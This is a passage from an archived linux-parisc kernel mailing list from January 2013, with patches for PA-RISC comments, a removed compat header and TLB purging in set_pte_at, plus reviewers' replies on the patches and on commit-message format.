Content-Transfer-Encoding: 7bit



Dave
--
John David Anglin	dave.anglin@bell.net


--Apple-Mail-33--297529737--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix comment describing setup of access rights in entry.S
Date: Sun, 13 Jan 2013 17:04:18 -0500
Lines: 54
Approved: news@gmane.org
Message-ID: <BLU0-SMTP29306E1B582FE2A4F7F28A972F0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-40--297146799"
X-Trace: ger.gmane.org 1358114720 24881 80.91.229.3 (13 Jan 2013 22:05:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Jan 2013 22:05:20 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 13 23:05:37 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TuVgH-0008JN-2N
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 Jan 2013 23:05:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755937Ab3AMWFM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Jan 2013 17:05:12 -0500
Original-Received: from [65.55.111.174] ([65.55.111.174]:63027 "EHLO
	blu0-omc4-s35.blu0.hotmail.com" rhost-flags-FAIL-FAIL-OK-FAIL)
	by vger.kernel.org with ESMTP id S1755927Ab3AMWFL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Jan 2013 17:05:11 -0500
Original-Received: from BLU0-SMTP29 ([65.55.111.137]) by blu0-omc4-s35.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 13 Jan 2013 14:04:50 -0800
X-EIP: [G5n0KSTTuAZ6RHbR7QiLPlX9ooqGUpbr]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.129.215]) by BLU0-SMTP29.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 13 Jan 2013 14:04:50 -0800
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 13 Jan 2013 22:04:50.0550 (UTC) FILETIME=[02305960:01CDF1DA]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4737
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4737>

--Apple-Mail-40--297146799
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit

This comment describes incredibly subtle code, so it should be right!

Signed-off-by: John David Anglin <dave.anglin@bell.net>


--Apple-Mail-40--297146799
Content-Disposition: attachment; filename="entry.S.d.txt"
Content-Type: text/plain; x-unix-mode=0644; name="entry.S.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index eb7850b..7c96489 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -483,7 +483,7 @@
 	 * B <-> _PAGE_DMB (memory break)
 	 *
 	 * Then incredible subtlety: The access rights are
-	 * _PAGE_GATEWAY _PAGE_EXEC _PAGE_READ
+	 * _PAGE_GATEWAY, _PAGE_EXEC and _PAGE_WRITE
 	 * See 3-14 of the parisc 2.0 manual
 	 *
 	 * Finally, _PAGE_READ goes in the top bit of PL1 (so we
@@ -493,7 +493,7 @@
 
 	/* PAGE_USER indicates the page can be read with user privileges,
 	 * so deposit X1|11 to PL1|PL2 (remember the upper bit of PL1
-	 * contains _PAGE_READ */
+	 * contains _PAGE_READ) */
 	extrd,u,*=      \pte,_PAGE_USER_BIT+32,1,%r0
 	depdi		7,11,3,\prot
 	/* If we're a gateway page, drop PL2 back to zero for promotion

--Apple-Mail-40--297146799
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit



Dave
--
John David Anglin	dave.anglin@bell.net


--Apple-Mail-40--297146799--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Remove compat_rt_sigframe.h
Date: Sun, 13 Jan 2013 17:09:51 -0500
Lines: 72
Approved: news@gmane.org
Message-ID: <BLU0-SMTP3894BB0B7A310D6B2EF632972F0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-44--296814422"
X-Trace: ger.gmane.org 1358115041 27662 80.91.229.3 (13 Jan 2013 22:10:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Jan 2013 22:10:41 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 13 23:10:59 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TuVla-000453-Hi
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 Jan 2013 23:10:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755708Ab3AMWKm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Jan 2013 17:10:42 -0500
Original-Received: from blu0-omc4-s15.blu0.hotmail.com ([65.55.111.154]:63835 "EHLO
	blu0-omc4-s15.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755655Ab3AMWKm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Jan 2013 17:10:42 -0500
Original-Received: from BLU0-SMTP38 ([65.55.111.137]) by blu0-omc4-s15.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 13 Jan 2013 14:10:41 -0800
X-EIP: [Ck7X6a3hcv61uGJymJ/N1kcdYGiBwITr]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.129.215]) by BLU0-SMTP38.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 13 Jan 2013 14:10:37 -0800
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 13 Jan 2013 22:10:39.0310 (UTC) FILETIME=[D210E6E0:01CDF1DA]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4738
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4738>

--Apple-Mail-44--296814422
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

Someone mentioned several months ago that compat_rt_sigframe.h was not  
used anywhere.
Removing it works for me.

Signed-off-by: John David Anglin <dave.anglin@bell.net>



--Apple-Mail-44--296814422
Content-Disposition: attachment; filename="compat_rt_sigframe.h.d.txt"
Content-Type: text/plain; x-unix-mode=0644;
	name="compat_rt_sigframe.h.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/include/asm/compat_rt_sigframe.h b/arch/parisc/include/asm/compat_rt_sigframe.h
deleted file mode 100644
index b3f95a7..0000000
--- a/arch/parisc/include/asm/compat_rt_sigframe.h
+++ /dev/null
@@ -1,50 +0,0 @@
-#include <linux/compat.h>
-#include <linux/compat_siginfo.h>
-#include <asm/compat_ucontext.h>
-
-#ifndef _ASM_PARISC_COMPAT_RT_SIGFRAME_H
-#define _ASM_PARISC_COMPAT_RT_SIGFRAME_H
-
-/* In a deft move of uber-hackery, we decide to carry the top half of all
- * 64-bit registers in a non-portable, non-ABI, hidden structure.
- * Userspace can read the hidden structure if it *wants* but is never
- * guaranteed to be in the same place. Infact the uc_sigmask from the 
- * ucontext_t structure may push the hidden register file downards
- */
-struct compat_regfile {
-	/* Upper half of all the 64-bit registers that were truncated
-	   on a copy to a 32-bit userspace */
-	compat_int_t rf_gr[32];
-	compat_int_t rf_iasq[2];
-	compat_int_t rf_iaoq[2];
-	compat_int_t rf_sar;
-};
-
-#define COMPAT_SIGRETURN_TRAMP 4
-#define COMPAT_SIGRESTARTBLOCK_TRAMP 5 
-#define COMPAT_TRAMP_SIZE (COMPAT_SIGRETURN_TRAMP + COMPAT_SIGRESTARTBLOCK_TRAMP)
-
-struct compat_rt_sigframe {
-	/* XXX: Must match trampoline size in arch/parisc/kernel/signal.c 
-	        Secondary to that it must protect the ERESTART_RESTARTBLOCK
-		trampoline we left on the stack (we were bad and didn't 
-		change sp so we could run really fast.) */
-	compat_uint_t tramp[COMPAT_TRAMP_SIZE];
-	compat_siginfo_t info;
-	struct compat_ucontext uc;
-	/* Hidden location of truncated registers, *must* be last. */
-	struct compat_regfile regs; 
-};
-
-/*
- * The 32-bit ABI wants at least 48 bytes for a function call frame:
- * 16 bytes for arg0-arg3, and 32 bytes for magic (the only part of
- * which Linux/parisc uses is sp-20 for the saved return pointer...)
- * Then, the stack pointer must be rounded to a cache line (64 bytes).
- */
-#define SIGFRAME32		64
-#define FUNCTIONCALLFRAME32	48
-#define PARISC_RT_SIGFRAME_SIZE32					\
-	(((sizeof(struct compat_rt_sigframe) + FUNCTIONCALLFRAME32) + SIGFRAME32) & -SIGFRAME32)

From - Thu Nov 08 21:08:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Purge existing TLB entries in
 =?UTF-8?Q?set=5Fpte=5Fat=20and=20ptep=5Fset=5Fwrprotect?=
Date: Sun, 13 Jan 2013 23:35:49 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <6d698ab99e1a7e2f2dded89b5dbd836d@sf-mail.de>
References: <BLU0-SMTP6386DBEA3C99F954FD63F7972F0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1358116557 7333 80.91.229.3 (13 Jan 2013 22:35:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Jan 2013 22:35:57 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 13 23:36:14 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TuW9y-00008N-0Z
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 Jan 2013 23:36:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755340Ab3AMWfx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Jan 2013 17:35:53 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:49172 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755319Ab3AMWfw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Jan 2013 17:35:52 -0500
Original-Received: (qmail 823 invoked from network); 13 Jan 2013 22:35:49 -0000
Original-Received: from mail.sf-mail.de ([::ffff:62.27.20.61]:33949 HELO webmail.sf-mail.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <dave.anglin@bell.net>; Sun, 13 Jan 2013 23:35:49 +0100
In-Reply-To: <BLU0-SMTP6386DBEA3C99F954FD63F7972F0@phx.gbl>
X-Sender: eike-kernel@sf-tec.de
User-Agent: Roundcube Webmail/0.8.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4739
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4739>

Am 13.01.2013 22:52, schrieb John David Anglin:
> This patch goes a long way toward fixing the minifail bug, and it  
> significantly
> improves the stability of SMP machines such as the rp3440.  When
> write  protecting
> a page for COW, we need to purge the existing translation.  
> Otherwise,  the COW
> break doesn't occur as expected.
>
> The patch assumes the kernel will flush page when it does copy.
>
> Signed-off-by: John David Anglin <dave.anglin@bell.net>

CC stable?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Purge existing TLB entries in set_pte_at and
 ptep_set_wrprotect
Date: Sun, 13 Jan 2013 22:59:39 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <1358117979.2284.6.camel@dabdike.int.hansenpartnership.com>
References: <BLU0-SMTP6386DBEA3C99F954FD63F7972F0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1358117984 18464 80.91.229.3 (13 Jan 2013 22:59:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Jan 2013 22:59:44 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 14 00:00:01 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TuWX2-00045b-2a
	for glpp-linux-parisc@plane.gmane.org; Mon, 14 Jan 2013 00:00:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756219Ab3AMW7n (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Jan 2013 17:59:43 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:47129 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755620Ab3AMW7n (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Jan 2013 17:59:43 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B113B8EE0E3;
	Sun, 13 Jan 2013 14:59:42 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id J26suDL44BVW; Sun, 13 Jan 2013 14:59:42 -0800 (PST)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [46.65.52.191])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 843258EE0C9;
	Sun, 13 Jan 2013 14:59:41 -0800 (PST)
In-Reply-To: <BLU0-SMTP6386DBEA3C99F954FD63F7972F0@phx.gbl>
X-Mailer: Evolution 3.6.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4740
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4740>

On Sun, 2013-01-13 at 16:52 -0500, John David Anglin wrote:

> +void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
> +{
> +       unsigned long flags, sid;
> +
> +       /* Note: purge_tlb_entries can be called at startup with
> +          no context.  */
> +
> +       /* Disable preemption while we play with %sr1.  */
> +       preempt_disable();
> +       sid = mfsp(1);
> 
There's no need at all to save and restore %sr1 is there?  It's defined
to be a volatile register.  As long as you make sure nothing gets in to
change its value, you never need to restore the previous one.

James
> 
> +       mtsp(mm->context,1);
> +       purge_tlb_start(flags);
> +       pdtlb(addr);
> +       pitlb(addr);
> +       purge_tlb_end(flags);
> +       mtsp(sid,1);
> +       preempt_enable();
> +}

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Purge existing TLB entries in set_pte_at and ptep_set_wrprotect - take 2
Date: Mon, 14 Jan 2013 19:45:00 -0500
Lines: 105
Approved: news@gmane.org
Message-ID: <BLU0-SMTP8691FD3EB8749D3303BA57972D0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-8--201105462"
X-Trace: ger.gmane.org 1358210745 19132 80.91.229.3 (15 Jan 2013 00:45:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Jan 2013 00:45:45 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 15 01:46:02 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TuufC-0007EU-7P
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 Jan 2013 01:46:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756960Ab3AOApp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 Jan 2013 19:45:45 -0500
Original-Received: from blu0-omc4-s28.blu0.hotmail.com ([65.55.111.167]:62321 "EHLO
	blu0-omc4-s28.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756947Ab3AOApo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 Jan 2013 19:45:44 -0500
Original-Received: from BLU0-SMTP86 ([65.55.111.136]) by blu0-omc4-s28.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 14 Jan 2013 16:45:39 -0800
X-EIP: [YeQVj3PYie7tPwJ5qsc/cWchVTzdeVx4]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.129.215]) by BLU0-SMTP86.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 14 Jan 2013 16:45:38 -0800
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 15 Jan 2013 00:45:39.0033 (UTC) FILETIME=[A38BC490:01CDF2B9]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4741
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4741>

--Apple-Mail-8--201105462
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

Attached is new version of patch which no longer saves and restores  
%sr1.  Lightly tested with a GCC build
and a build of Debian gtk+3.0 package.

Signed-off-by: John David Anglin <dave.anglin@bell.net>


--Apple-Mail-8--201105462
Content-Disposition: attachment; filename="purge_tlb.d.1.txt"
Content-Type: text/plain; x-unix-mode=0644; name="purge_tlb.d.1.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index ee99f23..2c6dedb 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -12,11 +12,10 @@
 
 #include <linux/bitops.h>
 #include <linux/spinlock.h>
+#include <linux/mm_types.h>
 #include <asm/processor.h>
 #include <asm/cache.h>
 
-struct vm_area_struct;
-
 /*
  * kern_addr_valid(ADDR) tests if ADDR is pointing to valid kernel
  * memory.  For the return value to be meaningful, ADDR must be >=
@@ -40,7 +39,14 @@ struct vm_area_struct;
         do{                                                     \
                 *(pteptr) = (pteval);                           \
         } while(0)
-#define set_pte_at(mm,addr,ptep,pteval) set_pte(ptep,pteval)
+
+extern void purge_tlb_entries(struct mm_struct *, unsigned long);
+
+#define set_pte_at(mm,addr,ptep, pteval)                        \
+        do{                                                     \
+                set_pte(ptep,pteval);                           \
+                purge_tlb_entries(mm,addr);                     \
+        } while(0)
 
 #endif /* !__ASSEMBLY__ */
 
@@ -466,6 +472,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 		old = pte_val(*ptep);
 		new = pte_val(pte_wrprotect(__pte (old)));
 	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
+	purge_tlb_entries(mm, addr);
 #else
 	pte_t old_pte = *ptep;
 	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 48e16dc..1524fd8 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -419,6 +419,24 @@ void kunmap_parisc(void *addr)
 EXPORT_SYMBOL(kunmap_parisc);
 #endif
 
+void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
+{
+	unsigned long flags;
+
+	/* Note: purge_tlb_entries can be called at startup with
+	   no context.  */
+
+	/* Disable preemption while we play with %sr1.  */
+	preempt_disable();
+	mtsp(mm->context,1);
+	purge_tlb_start(flags);
+	pdtlb(addr);
+	pitlb(addr);
+	purge_tlb_end(flags);
+	preempt_enable();
+}
+EXPORT_SYMBOL(purge_tlb_entries);
+
 void __flush_tlb_range(unsigned long sid, unsigned long start,
 		       unsigned long end)
 {

--Apple-Mail-8--201105462
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit



Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-8--201105462--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Purge existing TLB entries in set_pte_at and
 ptep_set_wrprotect - take 2
Date: Tue, 15 Jan 2013 09:05:19 +0000
Lines: 44
Approved: news@gmane.org
Message-ID: <1358240719.2752.6.camel@dabdike.int.hansenpartnership.com>
References: <BLU0-SMTP8691FD3EB8749D3303BA57972D0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1358240725 20630 80.91.229.3 (15 Jan 2013 09:05:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Jan 2013 09:05:25 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 15 10:05:43 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Tv2Sk-0008Ak-UG
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 Jan 2013 10:05:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756271Ab3AOJF0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Jan 2013 04:05:26 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:50727 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756255Ab3AOJFX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Jan 2013 04:05:23 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 76D5D8EE0DF;
	Tue, 15 Jan 2013 01:05:22 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id sSF7ckGA4-VR; Tue, 15 Jan 2013 01:05:22 -0800 (PST)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [46.65.52.191])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 65E3A8EE0C9;
	Tue, 15 Jan 2013 01:05:21 -0800 (PST)
In-Reply-To: <BLU0-SMTP8691FD3EB8749D3303BA57972D0@phx.gbl>
X-Mailer: Evolution 3.6.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4742
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4742>

On Mon, 2013-01-14 at 19:45 -0500, John David Anglin wrote:
> Attached is new version of patch which no longer saves and restores  
> %sr1.  Lightly tested with a GCC build
> and a build of Debian gtk+3.0 package.

I can merge it with your previous changelog, but for ease of git users,
the accepted format is

<patch description for git>

---

<Any other details you don't want in git>

git ignores everything after the three dashes on a single line.

So your preamble should be (I also added an explanation of why we think
the problem is occurring):

This patch goes a long way toward fixing the minifail bug, and
it  significantly improves the stability of SMP machines such as
the rp3440.  When write  protecting a page for COW, we need to
purge the existing translation.  Otherwise, the COW break
doesn't occur as expected because the TLB may still have a stale entry
which allows writes.

Signed-off-by: John David Anglin <dave.anglin@bell.net>

---

v2: Attached is new version of patch which no longer saves and
restores  %sr1.  Lightly tested with a GCC build and a build of
Debian gtk+3.0 package.

James




--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [RESEND PATCH] sysctl: Enable PARISC "unaligned-trap" to be used
 cross-arch
Date: Tue, 15 Jan 2013 23:03:14 +0100
Lines: 93
Approved: news@gmane.org
Message-ID: <50F5D222.8070208@gmx.de>
